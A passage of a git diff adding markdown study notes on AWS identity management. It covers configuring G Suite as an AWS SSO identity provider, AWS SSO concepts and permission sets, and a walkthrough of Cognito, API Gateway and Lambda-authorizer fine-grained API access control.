![G-Suite-AWS-SSO-Figure-10s](https://i.imgur.com/ffPMfUP.png) + +5. Fill in the `Service Provider Details` using the metadata information from AWS SSO: + 1. `AWS SSO Sign-in URL` > `Start URL` + 2. `AWS SSO ACS URL` > `ACS URL` + 3. `AWS SSO Issue URL` > `Entity ID` + 3. choose Next to create your custom application. + +> ![G-Suite-AWS-SSO-Figure-11s](https://i.imgur.com/xf3wstx.png) + +6. Next is a confirmation screen. Choose OK to continue. + +> ![G-Suite-AWS-SSO-Figure-12](https://i.imgur.com/X37srKP.png) + +7. The final steps enable the application for users. + 1. Select the application from the list + 2. choose `EDIT SERVICE` from the top corner. + +> ![G-Suite-AWS-SSO-Figure-13](https://i.imgur.com/FO8gcMS.png) + +8. Change the service status to `ON for everyone` and choose `SAVE`. + 1. If you want to manage access for particular users + 2. do this via organizational units (for example, enable the AWS SSO application for your engineering department). + +> This doesn’t give access to any resources inside of your AWS accounts. +> +> Permissions are granted in AWS SSO. + +> ![G-Suite-AWS-SSO-Figure-14](https://i.imgur.com/sKoe5PA.png) + +--- + +### 4. AWS SSO configuration + +finish SSO setup by uploading Google IdP metadata in the AWS Management Console. + +#### 4.1. add identity provider metadata in AWS SSO +1. When configured the custom application in G Suite, you downloaded the `GoogleIDPMetadata-your_domain.xml` file. +2. Browse… > `the file` > Next: Review. + +![G-Suite-AWS-SSO-Figure-15](https://i.imgur.com/LFQ7fkm.png) + +2. Type `CONFIRM` at the bottom > choose `Change identity source` to complete the setup. +3. message that your change to the configuration is complete. +4. At this point, choose `Return to settings` and proceed to user provisioning. + + +--- + +### 5. Manage Users and Permissions +AWS SSO supports automatic user provisioning via the System for Cross-Identity Management (SCIM). However, this is not supported for G Suite custom SAML applications. + +AWS and Google are collaborating in the `Fast Federation (FastFed) Working Group` to enable this. + +In the meantime, either `manually create users and groups` or use the `ssosync project from awslabs` to automate the process. +1. Manual provisioning + 1. the easiest option to get started with, + 2. but requires additional identity management processes to ensure that user attributes and group memberships stay up-to-date over time, which is not ideal. +2. The ssosync option + 1. eliminates these processes, + 2. but is open source code that must be properly evaluated before using in production. + +#### 5.1 The manual option + +##### add user to AWS SSO +1. `AWS SSO` > `Users` > `Add user` +2. Enter the user details + 1. use user’s primary email address as the username. + 2. Choose `Next: Groups` to add the user to a group. + +>![G-Suite-AWS-SSO-Figure-19](https://i.imgur.com/h9FGX7x.png) + +3. create user groups. Skip the Add user to groups step by choosing Add user. reach the `user list page` displaying your newly created user and status enabled. + + +4. assign the user to a particular AWS account in your AWS Organization. + 1. This allows the user to access the assigned account. + 2. `Select the account` you want to assign your user to and choose `Assign users`. + +> ![G-Suite-AWS-SSO-Figure-21](https://i.imgur.com/1CUtPpc.png) + +5. Select the user you just added, then choose `Next: Permission sets` to configure the effective permissions of the user in the assigned account. + +> ![G-Suite-AWS-SSO-Figure-22](https://i.imgur.com/TLEYA3s.png) + +6. configure one permission > `Create new permission set`. + +7. AWS SSO has managed `permission sets` that are similar to the AWS managed policies. + 1. Make sure `Use an existing job function policy` is selected + 2. select `PowerUserAccess` from the list of existing job function policies + 3. choose Create. + +> ![G-Suite-AWS-SSO-Figure-24](https://i.imgur.com/5Ob4Eme.png) + + +8. now select the created permission set from the list of available sets for the user. + 1. Select the `PowerUserAccess` permission set and choose Finish to assign the user to the account. + +> ![G-Suite-AWS-SSO-Figure-25](https://i.imgur.com/4Uv7oyQ.png) + +9. message that the assignment has been successful. + +> ![G-Suite-AWS-SSO-Figure-26](https://i.imgur.com/pNpqrpv.png) + + +#### 5.2. Automatic creation of users and groups +The [ssosync project](https://github.com/awslabs/ssosync) from awslabs can automatically synchronize users and groups, eliminating the need for manual creation and upkeep. +- It uses the Directory API in the G Suite Admin SDK to fetch users and groups and then creates them in AWS SSO. +- To get started with ssosync, follow the directions provided on the project homepage. + +> The ssosync project is under active development. +> need regularly check for updates, consider contributing through pull requests, and provide feedback through GitHub. + + + +--- + +### 6. Access AWS Account with G Suite + +1. After user login through AWS SSO user portal URL, users are redirected to the user portal. + 1. After select from the list of assigned accounts, user access the AWS Management Console of these accounts. + +> ![G-Suite-AWS-SSO-Figure-28](https://i.imgur.com/nVr3Q7W.png) + +3. successfully set up G Suite as an external identity provider for AWS SSO. users can access your AWS accounts using the credentials they already use. + +--- + +#### ways for user get access to AWS SSO: + +1. provide `user portal URL` in the `AWS SSO` > `settings`, as shown in the following screenshot. + 1. `https://d-12345.awsapps.com/start` + 2. Unauthenticated users who use the link will be redirected to the Google account login page and use their G Suite credentials to log in. + +> ![G-Suite-AWS-SSO-Figure-27](https://i.imgur.com/W5pTBfR.png) + + +2. select AWS SSO from Google Apps to be redirected to the user portal + +> ![G-Suite-AWS-SSO-Figure-29](https://i.imgur.com/ZLJeqhm.png) + + +3. Using AWS CLI with SSO + 1. AWS CLI v2 supports access via AWS SSO. + 2. automatically or manually configure a profile for the CLI to access resources in your AWS accounts. + 3. To authenticate your user, it opens the user portal in your default browser. + 4. If you aren’t authenticated, you’re redirected to the G Suite login page. + 5. After a successful login, select the AWS account you want to access from the terminal. + +--- diff --git a/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-SSO.md b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-SSO.md new file mode 100644 index 00000000000..d6c1ae398c2 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/Auth/2020-07-18-SSO.md @@ -0,0 +1,200 @@ +--- +title: AWS - IdenAccessManage - SSO Single Sign-On +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, SSO] +toc: true +image: +--- + +[toc] + +--- + +# AWS Single Sign-On +- cloud-based single sign-on (SSO) service +- centrally manage SSO access to `all of your AWS accounts and cloud applications`. +- manage SSO access and user permissions `across all your AWS accounts in AWS Organizations`. +- manage access and permissions `to commonly used third-party software as a service (SaaS) applications, AWS SSO-integrated applications as well as custom applications` that support Security Assertion Markup Language (SAML) 2.0. +- AWS SSO includes a user portal where your end-users can find and access all their assigned AWS accounts, cloud applications, and custom applications in one place. + +AWS SSO Features +- **Integration with AWS Organizations** + - AWS SSO is integrated deeply with AWS Organizations and AWS API operations, unlike other cloud native SSO solutions. + - AWS SSO natively integrates with AWS Organizations and enumerates all your AWS accounts. + - If have organized your accounts under organizational units (OUs) will see them displayed that way within the AWS SSO console. + - That way quickly discover your AWS accounts, deploy common sets of permissions, and manage access from a central location. +- **SSO access to your AWS accounts and cloud applications** + - AWS SSO makes it simple for to manage SSO across all your AWS accounts, cloud applications, AWS SSO-integrated applications, and custom SAML 2.0–based applications, without custom scripts or third-party SSO solutions. + - Use the AWS SSO console to quickly assign which users should have one-click access to only the applications that you've authorized for their personalized end-user portal. +- Create and manage users and groups in AWS SSO + 1. enable the service for the first time, AWS create a default store in AWS SSO. use this store to manage users and groups directly in the console. + 2. Or connect to an existing AWS Managed Microsoft AD directory and manage users with standard Active Directory management tools provided in Windows Server. + 3. also provision users and groups from an external identity provider into AWS SSO and manage access permissions in the AWS SSO console. manage users in AWS SSO, quickly create users and then easily organize them into groups, all within the console. +- Leverage your existing corporate identities + - AWS SSO is integrated with Microsoft AD through the AWS Directory Service. That means your employees can sign in to your AWS SSO user portal using their corporate Active Directory credentials. To grant Active Directory users access to accounts and applications, simply add them to the appropriate Active Directory groups. + - For example, grant the DevOps group SSO access to your production AWS accounts. Users added to the DevOps group are then granted SSO access to these AWS accounts automatically. This automation makes it easy to onboard new users and give existing users access to new accounts and applications quickly. +- Compatible with commonly used cloud applications + - AWS SSO supports commonly used cloud applications such as Salesforce, Box, and Office 365. + - This cuts the time needed to set up these applications for SSO by providing application integration instructions. These instructions act as guard rails to help administrators set up and troubleshoot these SSO configurations. This eliminates the need for administrators to learn the configuration nuances of each cloud application. +- Easy to set up and monitor usage + - With AWS SSO, enable a highly available SSO service with just a few clicks. + - There is no additional infrastructure to deploy or AWS account to set up. AWS SSO is a highly available and a completely secure infrastructure that scales to your needs and does not require software or hardware to manage. AWS SSO records all sign-in activity in AWS CloudTrail, giving the visibility to monitor and audit SSO activity in one place. +- Co-exists with existing IAM users, roles, and policies + - Enabling AWS SSO, including enabling AWS Organizations, has no impact on the users, roles, or policies that you’re already managing in IAM. continue to use your existing access management processes and tools as your organization adopts AWS SSO. +- No-cost identity management + - add any AWS account managed using AWS Organizations to AWS SSO. Both AWS SSO and AWS Organizations are available at no additional cost. + +--- + +## Getting Started +1. AWS SSO Prerequisites +2. Enable AWS SSO +3. Choose Your Identity Source +4. Set Up SSO to Your AWS Accounts +5. Set Up SSO to Your Applications + +--- + +### AWS SSO Prerequisites +1. set up the AWS Organizations service and have **All features set to enabled**. +2. Sign in with the AWS Organizations master account credentials before begin setting up AWS SSO. These credentials are required to enable AWS SSO. + 1. cannot set up AWS SSO while signed in with credentials from an Organization’s member account. +3. chosen an identity source to determine which pool of users has SSO access to the user portal. + 1. use the default **AWS SSO identity source** for your user store, no prerequisite tasks are required. + 1. The AWS SSO store is created by default once enable AWS SSO and is immediately ready for use. + 2. There is no cost for using this store. + 2. Connect to External Identity Provider using **Azure Active Directory**. + 3. connect to an **existing Active Directory** for your user store, must have the following: + 1. An existing AD Connector or AWS Managed Microsoft AD directory set up in AWS Directory Service, and it must reside within your organization's master account. + 1. can connect only one AWS Managed Microsoft AD directory at a time. + 2. However, can change it to a different AWS Managed Microsoft AD directory or change it back to an AWS SSO store at any time. + 2. must set up AWS SSO in the Region where your **AWS Managed Microsoft AD directory** is set up. + 1. AWS SSO stores the assignment data in the same Region as the directory. + 2. To administer AWS SSO, switch to the Region where have setup AWS SSO. + 3. AWS SSO’s user portal uses the same access URL as your connected directory. +4. If currently filter access to specific Amazon Web Service (AWS) domains or URL endpoints using a web content filtering solution such as next-generation firewalls (NGFW) or secure web gateways (SWG), must add the following domains and/or URL endpoints to web-content filtering solution allow-lists in order for AWS SSO to work properly: + 1. Specific DNS domains + 1. *.awsapps.com (https://awsapps.com/) + 2. *.signin.aws + 2. Specific URL End-points + 1. https://[yourdirectory].awsapps.com/start + 2. https://[yourdirectory].awsapps.com/login + 3. https://[yourregion].signin.aws/platform/login + + +### Enable AWS SSO + +- Once enabled, AWS SSO creates + - a `service-linked role` in all accounts within the organization in AWS Organizations. + - creates the same service-linked role in every account that is subsequently added to your organization. + - This role allows AWS SSO to access each account's resources on your behalf. +- To enable AWS SSO + - Sign in to the AWS Management Console with your AWS Organizations master account credentials. + - Open the AWS SSO console. + - Choose Enable AWS SSO. + - If have not yet set up AWS Organizations, will be prompted to create an organization. Choose Create AWS organization to complete this process. + + +### Choose Your Identity Source +- Choosing an identity source determines where AWS SSO looks for users and groups that need SSO access. +- By default, get an **AWS SSO store** for quick and easy user management. +- Optionally, can also connect an external identity provider or connect an AWS Managed Microsoft AD directory with your self-managed Active Directory. +- AWS SSO provides users in this identity source with a personalized user portal from which they can easily launch multiple AWS accounts or cloud applications. + - Users sign in to the portal using their corporate credentials or with credentials they set up in AWS SSO. + - Once they sign in, they have one-click access to all applications and AWS accounts that have previously authorized. + +identity source type +- Manage Identities in AWS SSO +- Connect to Your Microsoft AD Directory +- Connect to Your External Identity Provider + +### Set Up SSO to Your AWS Accounts +- grant users in your directory with SSO access to one or more AWS consoles for specific AWS accounts in your organization in AWS Organizations. +- When do, AWS SSO uses the `service-linked role` that was created during enablement to create IAM roles. +- Your end users can access their AWS accounts using these new roles. + - Users within these accounts see only the AWS account icon (for example, Development) that they've been assigned from within their user portal. + - When they choose the icon, they can then choose which IAM role they want to use when signing in to the AWS Management Console for that AWS account. + + +### Set Up SSO to Your Applications +- With AWS SSO, can use AWS applications that are integrated with AWS SSO, cloud-applications for which AWS provides preintegration, and custom SAML 2.0 applications. +- application type for set up + - Add and Configure an AWS SSO-Integrated Application + - Add and Configure a Cloud Application + - Add and Configure a Custom SAML 2.0 Application + +--- + +## Understanding Key AWS Single Sign-On Concepts + +1. Users, Groups, and Provisioning + 1. AWS SSO manages access to all your AWS Organizations accounts, AWS SSO-integrated applications, and other business applications that support the `Security Assertion Markup Language (SAML) 2.0 standard`. + 2. User name and email address uniqueness + 1. When working in AWS SSO, users must be uniquely identifiable. + 2. AWS SSO implements **user name** is the primary identifier for users. + 3. Although most people set the user name equal to a user’s email address, AWS SSO and the SAML standard do not require this. + 4. large percentage of SAML-based applications use email address as the unique identifier for users. + 1. They obtain this from assertions that a SAML identity provider sends during authentication. + 2. Such applications depend upon the uniqueness of email addresses for each user. + 5. AWS SSO allows to specify something other than an email address for user sign-in. + 6. AWS SSO requires that all user names and email addresses for your users are non-NULL and unique. + 3. Groups + 1. AWS SSO does not support adding a group to a group (nested groups). + 2. Groups are useful when assigning access to AWS accounts and applications. + 1. Rather than assign each user individually, give permissions to a group. + 2. add or remove users from a group, the user dynamically gets or loses access to accounts and applications that assigned to the group. + 4. User and group provisioning + 1. create users and groups directly in AWS SSO, or work with users and groups have in Active Directory or an external identity provider. + 2. for AWS SSO to assign users and groups for permissions in an AWS SSO account, AWS SSO must first be aware of the users and groups. + 3. Similarly, AWS SSO-integrated applications can work with users and groups for which AWS SSO is aware. + 4. `Provisioning` is the process of making user and group information available for use by AWS SSO and AWS SSO-integrated applications. + 5. Provisioning in AWS SSO varies based on the identity source use. + +2. User Authentications + 1. user signs in to the user portal using user name. + 2. When they do, `AWS SSO` redirects the request to the `AWS SSO authentication service` based on the `directory` associated with the user email address. + 3. Once authenticated, users have SSO access to any of the AWS accounts and third-party software-as-a-service (SaaS) applications that show up in the portal without additional sign-in prompts. + 4. users no longer need to keep track of multiple account credentials for the various assigned AWS applications + + +3. Permission Sets + 1. a collection of `administrator-defined policies` + 2. AWS SSO uses it to determine user's effective permissions to access a given AWS account. + 3. Permission sets + 1. can contain either `AWS managed policies` or `custom policies` that are stored in AWS SSO. + 1. Policies are essentially documents that act as containers for one or more permission statements. + 2. These statements represent individual access controls (allow or deny) for various tasks that determine what tasks users can or cannot perform within the AWS account. + 2. stored in AWS SSO and are only used for AWS accounts. + 1. not used to manage access to cloud applications. + 3. ultimately get created as IAM roles in a given AWS account, with trust policies that allow users to assume the role through AWS SSO. + 4. Delegating Permission Set Administration + 1. AWS SSO enables you to delegate management of permission sets and assignments in accounts by creating IAM policies that reference the `Amazon Resource Names (ARNs) of AWS SSO resources`. + 1. For example, create policies that enable different administrators to manage `assignments in specified accounts` for `permission sets with specific tags`. + 2. use any of the following three methods to create these kinds of policies. + 1. (Recommended) Create `permission sets in AWS SSO`, + 1. each with a different policy, and assign the permission sets to different users or groups. + 2. to manage administrative permissions for users that sign in using your chosen AWS SSO identity source. + 2. Create `custom policies in IAM`, + 1. and then attach them to IAM roles that your administrators assume. + 2. enables IAM users or IAM federated users to assume the role to get their assigned AWS SSO administrative permissions. + 3. Create `custom policies in IAM`, + 1. and then attach them to IAM users that you use for AWS SSO administrator purposes. + 2. to give individual IAM users specific AWS SSO administrative permissions. + 5. AWS SSO resource ARNs are case sensitive. + 1. The following shows the proper case for referencing the AWS SSO permission set and account resource types. + +Resource Types | ARN | Context Keys +---|---|--- +PermissionSet | `arn:${Partition}:sso:::permissionSet/${InstanceId}/${PermissionSetId}` | `aws:ResourceTag/${TagKey}` +Account | `arn:${Partition}:sso:::account/${AccountId}` | Not Applicable + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/Auth/Amazon-Cognito.md b/_posts/01Cloud/01AWS/IAM/Auth/Amazon-Cognito.md new file mode 100644 index 00000000000..c8ce6ec6037 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/Auth/Amazon-Cognito.md @@ -0,0 +1,349 @@ + +[toc] + +# Building fine-grained authorization for API using Amazon Cognito, API Gateway, and IAM + +- ref + - [Building fine-grained authorization using Amazon Cognito, API Gateway, and IAM](https://aws.amazon.com/blogs/security/building-fine-grained-authorization-using-amazon-cognito-api-gateway-and-iam/) + + +--- + +Authorizing functionality of an application based on group membership is a best practice. + +If you’re building APIs with [Amazon API Gateway](https://aws.amazon.com/api-gateway/) and you need fine-grained access control for the users, use [Amazon Cognito](https://aws.amazon.com/cognito/). + +- Amazon Cognito allows you to use groups to create a collection of users, which is often done to set the permissions for those users. +- IAM and Amazon Cognito can be used to provide fine-grained access control for the API behind API Gateway. +- use this approach to transparently apply fine-grained control to the API, without having to modify the code in the API, and create advanced policies by using IAM condition keys. + + +To build fine-grained authorization to protect the APIs using Amazon Cognito, API Gateway, and IAM. + +a customer-facing application where the users are going to log into the web or mobile application +- as such you will be exposing the APIs through **API Gateway** with upstream services. +- The APIs could be deployed on [Amazon Elastic Container Service (Amazon ECS)](https://aws.amazon.com/ecs), [Amazon Elastic Kubernetes Service (Amazon EKS)](https://aws.amazon.com/eks/), [AWS Lambda](https://aws.amazon.com/lambda/), or [Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) where each of these options will forward the request to the [Amazon Elastic Compute Cloud (Amazon EC2)](https://aws.amazon.com/ec2/) instances. +- Additionally, you can use on-premises services that are connected to the AWS environment over an **AWS VPN** or [AWS Direct Connect](https://aws.amazon.com/directconnect/). +- It’s important to have fine-grained controls for each API endpoint and [HTTP method](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-method-settings-method-request.html#setup-method-add-http-method). +- For instance + - the user should be allowed to make a `GET` request to an endpoint + - but should not be allowed to make a `POST` request to the same endpoint. + - as a best practice, assign users to **groups** and use group membership to allow/deny access to the API services. + +--- + +## Solution overview + +Use an [Amazon Cognito user pool](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-identity-pools.html) as a user directory and let users authenticate and acquire the [JSON Web Token (JWT)](https://tools.ietf.org/html/rfc7519) to pass to the API Gateway. +- The JWT is used to identify what group the user belongs to, as mapping a group to an IAM policy will display the access rights the group is granted. + +> **Note:** +> The solution works similarly if Amazon Cognito would be **federating users with an external identity provider (IdP)** +> - such as Ping, Active Directory, or Okta +> - instead of being an IdP itself. +> [Adding User Pool Sign-in Through a Third Party](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools-identity-federation.html). +> to use groups from an external IdP to grant access: [Role-based access control using Amazon Cognito and an external identity provider](https://aws.amazon.com/blogs/security/role-based-access-control-using-amazon-cognito-and-an-external-identity-provider/) + + + +The following figure shows the basic architecture and information flow for user requests. + +![Figure 1: User request flow](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/05/19/Building-fine-grained-authorization-1.png) + +1. A user logs in and acquires an Amazon Cognito JWT ID token, access token, and refresh token. + - [using tokens with user pools](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-with-identity-providers.html). +2. A **RestAPI request** is made and a bearer token (an access token) is passed in the headers. +3. **API Gateway** forwards the request to a Lambda authorizer (custom authorizer). +4. The **Lambda authorizer** verifies the Amazon Cognito JWT using the **Amazon Cognito public key**. + - On initial Lambda invocation, the public key is downloaded from Amazon Cognito and cached. + - Subsequent invocations will use the public key from the cache. +5. The Lambda authorizer + - looks up the Amazon Cognito group that the user belongs to in the JWT + - and does a lookup in [Amazon DynamoDB](https://aws.amazon.com/dynamodb/) to get the policy that’s mapped to the group. +6. Lambda returns the policy and context (optionally) to API Gateway. + - The context is a map containing key-value pairs that you can pass to the upstream service. + - It can be additional information about the user, the service, or anything that provides additional information to the upstream service. +7. The **API Gateway policy engine** evaluates the policy. + - Lambda isn’t responsible for understanding and evaluating the policy. That responsibility falls on the native capabilities of API Gateway. + +8. The request is forwarded to the service. + +> **Note:** +> To further optimize Lambda authorizer, the authorization policy can be cached or disabled, depending on the needs. +> By enabling cache, you could improve the performance as the authorization policy will be returned from the cache whenever there is a cache key match. [Configure a Lambda authorizer using the API Gateway console](https://docs.aws.amazon.com/apigateway/latest/developerguide/configure-api-gateway-lambda-authorization-with-console.html). + +Example policy that is stored as part of an item in DynamoDB. + +```json + { + "Version":"2012-10-17", + "Statement":[ + { + "Sid":"PetStore-API", + "Effect":"Allow", + "Action":"execute-api:Invoke", + "Resource":[ + "arn:aws:execute-api:*:*:*/*/*/petstore/v1/*", + "arn:aws:execute-api:*:*:*/*/GET/petstore/v2/status" + ], + "Condition":{ + "IpAddress":{ + "aws:SourceIp":[ + "192.0.2.0/24", + "198.51.100.0/24" + ] + } + } + } + ] + } +``` + +Based on this example policy +- the user is allowed to make calls to the petstore API. +- For version v1, the user can make requests to any verb and any path, which is expressed by an asterisk `*`. +- For v2, the user is only allowed to make a `GET` request for path `/status`. +- [Output from an Amazon API Gateway Lambda authorizer](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-lambda-authorizer-output.html). + +--- + +## Getting started + +**For this solution, need the following prerequisites**: + +- The [AWS Command Line Interface (CLI)](https://aws.amazon.com/cli/) installed and [configured for use](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html). +- Python 3.6 or later, to package Python code for Lambda + - recommend use a [virtual environment](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/) or [virtualenvwrapper](https://virtualenvwrapper.readthedocs.io/en/latest/) to isolate the solution from the rest of the Python environment. +- An [IAM](https://aws.amazon.com/iam/) role or user with enough permissions to create `Amazon Cognito User Pool, IAM Role, Lambda, IAM Policy, API Gateway and DynamoDB table`. +- The GitHub repository for the solution. + - [download it](https://github.com/aws-samples/amazon-cognito-api-gateway/archive/refs/heads/main.zip), + - or [Git](https://git-scm.com/) command to download it from the terminal. + + +**To implement this reference architecture, utilizing the following services**: + +[Amazon Cognito](https://aws.amazon.com/cognito) to support a **user pool** for the user base. +- A user pool is a user directory in Amazon Cognito. +- With a user pool, the users can log in to the web or mobile app through Amazon Cognito. +- use the Amazon Cognito user directory directly, as this sample solution creates an Amazon Cognito user. +- However, the users can also log in through `social IdPs, OpenID Connect (OIDC), and SAML IdPs` + + +[Lambda](https://aws.amazon.com/lambda) to serve the APIs. +- Lambda as backing API service +- Initially, create a Lambda function that serves the APIs. +- API Gateway forwards all requests to the Lambda function to serve up the requests. + +[API Gateway](https://aws.amazon.com/api-gateway) to secure and publish the APIs. +- creates an Amazon Cognito user pool, a Lambda function, and an API Gateway instance. +- Next integrate the API Gateway instance with the Lambda function created. +- This API Gateway instance serves as an entry point for the upstream service. +- configures [proxy integration](https://docs.aws.amazon.com/apigateway/latest/developerguide/set-up-lambda-proxy-integrations.html) with Lambda and deploys an API Gateway stage. + +--- + +## Deploy the sample solution + +```bash +$ git clone https://github.com/aws-samples/amazon-cognito-api-gateway.git +$ cd amazon-cognito-api-gateway + +# package the Python code for deployment to Lambda. +$ bash ./helper.sh package-lambda-functions +… +Successfully completed packaging files. + +# generate a random Amazon Cognito user password and create the resources described in the previous section. +$ bash ./helper.sh cf-create-stack-gen-password +... +Successfully created CloudFormation stack. +``` + +### Validate Amazon Cognito user creation + +To validate that an Amazon Cognito user has been created successfully, run the following command to open the Amazon Cognito UI in the browser and then log in with the credentials. + +> **Note:** +> When you run this command, it returns the user name and password that you should use to log in. + +```bash +$ bash ./helper.sh open-cognito-ui +Opening Cognito UI. Please use following credentials to login: +Username: cognitouser +Password: xxxxxxxx +``` + +Alternatively, you can open the CloudFormation stack and get the [Amazon Cognito hosted UI](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools-app-integration.html) URL from the stack outputs. +- The URL is the value assigned to the `CognitoHostedUiUrl` variable. + +![Figure 2: CloudFormation Outputs - CognitoHostedUiUrl](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/05/19/Building-fine-grained-authorization-2.png) + + +### Validate Amazon Cognito JWT upon login + +Since we haven’t installed a web application that would respond to the redirect request, Amazon Cognito will redirect to localhost, which might look like an error. +- The key aspect is that after a successful log in, there is a URL similar to the following in the navigation bar of the browser: +- https://localhost/#id_token=eyJraWQiOiJicVhMYWFlaTl4aUhzTnY3W + + +--- + +## Test the API configuration + +To protect the API with Amazon Cognito so that only authorized users can access it +- verify that the configuration is correct and the API is served by API Gateway. + +```bash +# makes a curl request to API Gateway to retrieve data from the API service. +$ bash ./helper.sh curl-api +{ + "pets":[ + {"id":1,"name":"Birds"}, + {"id":2,"name":"Cats"}, + {"id":3,"name":"Dogs"}, + {"id":4,"name":"Fish"} + ] +} +# The expected result is that the response will be a list of pets. +# In this case, the setup is correct: API Gateway is serving the API. +``` + + +--- + +## Protect the API + +To protect the API, the following is required: + +1. **DynamoDB** to store the policy that will be evaluated by the API Gateway to make an authorization decision. +2. A **Lambda function** to verify the user’s access token and look up the policy in DynamoDB. + + +### Lambda authorizer + +- an API Gateway feature that uses a Lambda function to control access to an API. +- use a [Lambda authorizer](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-use-lambda-authorizer.html) to implement a custom authorization scheme that uses a bearer token authentication strategy. +- When a client makes a request to one of the API operations, the API Gateway calls the Lambda authorizer. +- The Lambda authorizer takes the identity of the caller as input and returns an IAM policy as the output. +- The output is the policy that is returned in DynamoDB and evaluated by the API Gateway. +- If there is no policy mapped to the caller identity, Lambda will generate a deny policy and request will be denied. + + + +### DynamoDB table + +- a key-value and document database that delivers single-digit millisecond performance at any scale. +- ideal for this use case to ensure that the Lambda authorizer can quickly process the bearer token, look up the policy, and return it to API Gateway. +- [Control access for invoking an API](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html). + +create the DynamoDB table for the Lambda authorizer to look up the policy, which is mapped to an Amazon Cognito group. +- an item in DynamoDB. Key attributes are: + - Group, which is used to look up the policy. + - Policy, which is returned to API Gateway to evaluate the policy. + +![Figure 3: DynamoDB item](https://d2908q01vomqb2.cloudfront.net/22d200f8670dbdb3e253a90eee5098477c95c23d/2021/05/19/Building-fine-grained-authorization-3.png) + +Based on this policy +- the user that is part of the Amazon Cognito group `pet-veterinarian` is allowed to make API requests to endpoints + - `https://__/__/petstore/v1/\*` + - and `https://__/__/petstore/v2/status` for `GET` requests only. + +--- + +### Update and create resources + +```bash +# update existing resources and create a Lambda authorizer and DynamoDB table. +$ bash ./helper.sh cf-update-stack +Successfully updated CloudFormation stack. +``` + +--- + +## Test the custom authorizer setup + +Begin the testing with the following request, which doesn’t include an access token. +- The request is denied with the message **Unauthorized**. +- the Amazon API Gateway expects a header named _Authorization_ (case sensitive) in the request. +- If there’s no authorization header, the request is denied before it reaches the lambda authorizer. This is a way to filter out requests that don’t include required information. + +```bash +$ bash ./helper.sh curl-api +{"message":"Unauthorized"} +``` + +pass the required header +- but the token is invalid, it wasn’t issued by Amazon Cognito but is a simple JWT-format token stored in `./helper.sh`. [decode and verify an Amazon Cognito JSON token](https://aws.amazon.com/premiumsupport/knowledge-center/decode-verify-cognito-json-token/). +- This time the message is different. The Lambda authorizer received the request and identified the token as invalid and responded with the message **User is not authorized to access this resource**. + +```bash +$ bash ./helper.sh curl-api-invalid-token +{"Message":"User is not authorized to access this resource"} +``` + +To make a successful request to the protected API, the code will need to perform the following steps: +1. Use a user name and password to authenticate against the Amazon Cognito user pool. +2. Acquire the tokens (id token, access token, and refresh token). +3. Make an `HTTPS (TLS) request` to **API Gateway** and pass the access token in the headers. + - Before the request is forwarded to the API service, API Gateway receives the request and passes it to the Lambda authorizer. + - The authorizer performs the following steps. + - If any of the steps fail, the request is denied. + 1. Retrieve the public keys from Amazon Cognito. + 2. Cache the public keys so the Lambda authorizer doesn’t have to make additional calls to Amazon Cognito as long as the Lambda execution environment isn’t shut down. + 3. Use public keys to [verify the access token](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html). + 4. Look up the policy in DynamoDB. + 5. Return the policy to API Gateway. + +The access token has claims such as Amazon Cognito assigned groups, user name, token use, and others, as shown in the following example (some fields removed). + +```json + { + "sub": "00000000-0000-0000-0000-0000000000000000", + "cognito:groups": [ + "pet-veterinarian" + ], + ... + "token_use": "access", + "scope": "openid email", + "username": "cognitouser" + } +``` + +Finally, programmatically log in to Amazon Cognito UI, acquire a valid access token, and make a request to API Gateway. +- call the protected API. +- receive a response with data from the API service. + +```bash +$ bash ./helper.sh curl-protected-api +{"pets":[{"id":1,"name":"Birds"},{"id":2,"name":"Cats"},{"id":3,"name":"Dogs"},{"id":4,"name":"Fish"}]} +``` + + +Steps that the example code performed: + +1. Lambda authorizer validates the access token. +2. Lambda authorizer looks up the policy in DynamoDB based on the group name that was retrieved from the access token. +3. Lambda authorizer passes the IAM policy back to API Gateway. +4. API Gateway evaluates the IAM policy and the final effect is an allow. +5. API Gateway forwards the request to Lambda. +6. Lambda returns the response. + +Let’s continue to test our policy from Figure 3. In the policy document, `arn:aws:execute-api:\*:\*:\*/\*/GET/petstore/v2/status` is the only endpoint for version V2, which means requests to endpoint `/GET/petstore/v2/pets` should be denied. Run the following command to test this. + +``` +$ bash ./helper.sh curl-protected-api-not-allowed-endpoint +{"Message":"User is not authorized to access this resource"} +``` + +### clean up + +clean up all the resources associated with this solution: + +```bash +$ bash ./helper.sh cf-delete-stack +``` + +### Advanced IAM policies to further control the API + +With IAM, you can create advanced policies to further refine access to the APIs. +- [condition keys that can be used in API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-resource-policies-aws-condition-keys.html), their use in an [IAM policy with conditions](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html), and how [policy evaluation logic](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic.html) determines whether to allow or deny a request. diff --git a/_posts/01Cloud/01AWS/IAM/IAM.md b/_posts/01Cloud/01AWS/IAM/IAM.md new file mode 100644 index 00000000000..70cf170f5e4 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/IAM.md @@ -0,0 +1,1052 @@ + + +- [AWS - IAM Identity and Access Management](#aws---iam-identity-and-access-management) 